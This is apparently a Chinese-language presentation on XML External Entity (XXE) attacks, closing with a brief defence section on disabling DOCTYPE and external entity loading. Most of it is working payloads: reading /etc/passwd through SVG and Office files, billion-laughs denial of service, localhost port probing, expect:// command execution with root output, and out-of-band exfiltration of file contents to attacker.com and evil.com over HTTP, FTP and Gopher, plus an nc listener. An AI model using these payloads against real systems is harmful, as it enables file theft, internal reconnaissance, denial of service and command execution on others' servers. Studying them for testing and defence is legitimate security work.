XML实体攻击基本形态
例子:
1、RSS,ATOM(Mailchimp)
2、SVG Converter
3、XML Import(Zabbix)分布式系统监控应用,支持配置文件的导入导出,配置文件使用XML格式
4、百度统计XXE外部实体攻击
["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE
svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg
style=\"overflow: hidden; position: relative;\"
xmlns=\"http://www.w3.org/2000/svg\"
xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\"
version=\"1.1\" height=\"880\"><path
transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\"
d=\"5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\"
y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\"
font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-
size=\"12px\"><tspan
dy=\"10.903846153846155\">&test;</tspan></text></svg>"]
5、网易云阅读
6、QQ邮箱文档预览XXE实体攻击
/word/document.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document>
<w:body><w:p w:rsidR="00221056"
w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFonts
w:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts
w:hint="eastAsia"/></w:rPr><w:t>我</w:t></w:r><w:r><w:t>是
一个文档。</w:t></w:r><w:bookmarkStart w:id="0"
w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr
w:rsidR="00221056"><w:pgSz w:w="11906"
w:h="16838"/><w:pgMar w:top="1440" w:right="1800"
w:bottom="1440" w:left="1800" w:header="851" w:footer="992"
w:gutter="0"/><w:cols w:space="425"/><w:docGrid w:type="lines"
w:linePitch="312"/></w:sectPr></w:body>
</w:document>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE w[
<!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<w:document>
<w:body><w:p w:rsidR="00221056"
w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFonts
w:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts
w:hint="eastAsia"/></w:rPr><w:t>&xxe;</w:t><w:bookmarkStart
w:id="0" w:name="_GoBack"/><w:bookmarkEnd
w:id="0"/></w:p><w:sectPr w:rsidR="00221056"><w:pgSz
w:w="11906" w:h="16838"/><w:pgMar w:top="1440"
w:right="1800" w:bottom="1440" w:left="1800" w:header="851"
w:footer="992" w:gutter="0"/><w:cols w:space="425"/><w:docGrid
w:type="lines" w:linePitch="312"/></w:sectPr></w:body>
</w:document>
xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE t [
<!ENTITY xxe SYSTEM "file:///etc/network/interfaces">
]>
<sst
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/m
ain" count="1" uniqueCount="1"><si><t>&xxe;</t><phoneticPr
fontId="1" type="noConversion"/></si></sst>
XML实体漏洞多种利用方法:
? 拒绝服务
? 枚举目录
? 文件读取
? 内网探测
? 端口扫描
? 文件上传
? 命令执行
拒绝服务DOS
<?xml version="1.0" encoding="UTF-
8"?>
<!DOCTYPE UserInfo [
<!ENTITY name SYSTEM
"file:///dev/random">
]>
<UserInfo>
<name>&name;</name>
</UserInfo>
<!DOCTYPE UserInfo [
<!ENTITY lol "lol">
<!ENTITY lol2
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol7
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
…….
……..
<!ENTITY lol8
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<UserInfo>&lol9;</UserInfo>
目录枚举(Java系:一个奇葩的例外)
以Groovy为例:
def xxePoc = '
<?xml version="1.0"?><!DOCTYPE customer[<!ENTITY name
SYSTEM
"file:///">]><customer><name>&name;</name></customer>'
def xmlParser = new XmlSlurper();
def parsedContent = xmlParser.parseText(xxePoc)
println parsedContent
端口扫描与内网探测
<!DOCTYPE UserInfo [
<!ENTITY name SYSTEM
"http://127.0.0.1:22/">]>
<UserInfo>
<name>&name;</name>
</UserInfo>
文件上传(jar协议)
Java通过jar协议处理远程jar包:
1.
获取远程jar包
2.
解压缩jar包,提取指定文件
3.
链接结束后,删除临时文件
jar:http://host/evil.jar!/file/in/the/jar
攻击者利用过程:
1.
构造恶意jar包
2.
让目标解析jar包并获取恶意文件
3.
文件传输结束后,继续维持服务端链接
4.
使用列目录技巧寻找临时文件位置
<!DOCTYPE UserInfo [
<!ENTITY name SYSTEM "
jar:http://127.0.0.1:2014/!/">]>
<UserInfo>
<name>&name;</name>
</UserInfo>
HTTP/1.0 200 OK
Content-Type: application/java-archive
Date: Sat Aug 09 04:31:39 EDT 2014
Server: EvilServer 1.0
This file was uploaded from the
attacker server.
命令执行
<!DOCTYPE root [<!ENTITY foo SYSTEM
"expect://id">]>
<methodCall>
<methodName>&foo;</methodName>
</methodCall>
PHP的Expect扩展: pecl install expect
<methodResponse>
<fault><value><struct>
<member>
<name>faultString</name>
<value>
<string>Method &uid=0(root) gid=0(root)
groups=0(root)" does not
exist</string>
</value>
</member>
</struct></value></fault>
</methodResponse>
高级XXE OOB技巧
? OOB(Out-Of-Band):外带数据
多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧
来获取我们想要的数据。? 参数实体(Parameter Entity):
如果说实体是XML节点中引用的内容,那么参数实体就是实体中引
用的内容。<!ENTITY % name "foo">
<!ENTITY copyright "copyright ?2008, %name;.cn, ALL Right Reserved
">
1)参数实体只能在DTD声明中使用。
2)参数实体中不能再引用参数实体。
利用HTTP协议外带数据
evil.xml
<!DOCTYPE root [
? <!ENTITY % file SYSTEM
“file:///etc/hosts">
<!ENTITY % dtd SYSTEM
"http://attacker.com/ext.dtd">
%dtd;
%send;
]]>
<zabbix_export>
</zabbix_export>
嵌套参数实体的‘%’需要其十
进制或16进制编码格式即%或%)
ext.dtd:
<!ENTITY % all "<!ENTITY % send
SYSTEM 'http://attacker.com/?%file;'>"
>%all;
PHP环境下可以使用php://filter:
php://filter/read=convert.base64-encode/resource=/etc/hosts
MjcuMC4wLjEJbG9jYWxob3N0CjEyNy4wLjEuMQlrYWxpCgojIFR
oZSBmb2xsb3dpbmcgbGluZXMgYXJlIGRlc2lyYWJsZSBmb3IgSV
B2NiBjYXBhYmxlIGhvc3RzCjo6MSAgICAgbG9jYWxob3N0IGlwNi
1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZmMDI6OjEgaXA2LW
FsbG5vZGVzCmZmMDI6OjIgaXA2LWFsbHJvdXRlcnMK
利用FTP协议外带数据
evil.xml
<!DOCTYPE a [
<!ENTITY % asd SYSTEM
“http://attacker.com/ext.dtd">
%asd;
%c;
%rrr;
]>
<a></a>
ext.dtd
<!ENTITY % b SYSTEM "
php://filter/read=convert.base64-encode/resource=
file:///etc/passwd">
<!ENTITY % c "<!ENTITY % rrr SYSTEM
'ftp://evil.com:8000/%b;'>">
利用Gopher协议外带数据(Java 1.6)
Gopher:古老的信息查找协议
格式:gopher://{host}:{port}/{type}{request}
? type:为一位整型数字
? request:任意要发送的请求内容,使用URL格式编码。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM
"http://attacker.com/ext.dtd">
%dtd;]>
ext.dtd
<!ENTITY % all "<!ENTITY send
SYSTEM
'gopher://attacker.com:1337/1%file;'
>">
%all;
在服务器中使用NC监听指定端口:
nc –lnp 1337
evil.xml
<!DOCTYPE test [
<!ENTITY % one SYSTEM
"https://attacker.com/ext.dtd" >
%one;
%two;
%four;
]>
ext.dtd
<!ENTITY % three SYSTEM
"file:///c:/windows/win.ini">
<!ENTITY % two "<!ENTITY % four SYSTEM
'file:///%three;'>">
无效文件名构造主动报错
防御XML实体攻击
? 解析XML时忽略DOCTYPE文档声明
– 遍历所有结点若发现XML_DOCUMENT_TYPE_NODE类型的结点则报错
? 必须使用DOCTYPE的情况下禁止对外部实体的解析
? libxml_disable_entity_loader(true); //PHP
? 升级Libxml
– Libxml2.9默认已经可以防御XML实体攻击
– 查看libxml版本apt-cache show libxml2 | grep Version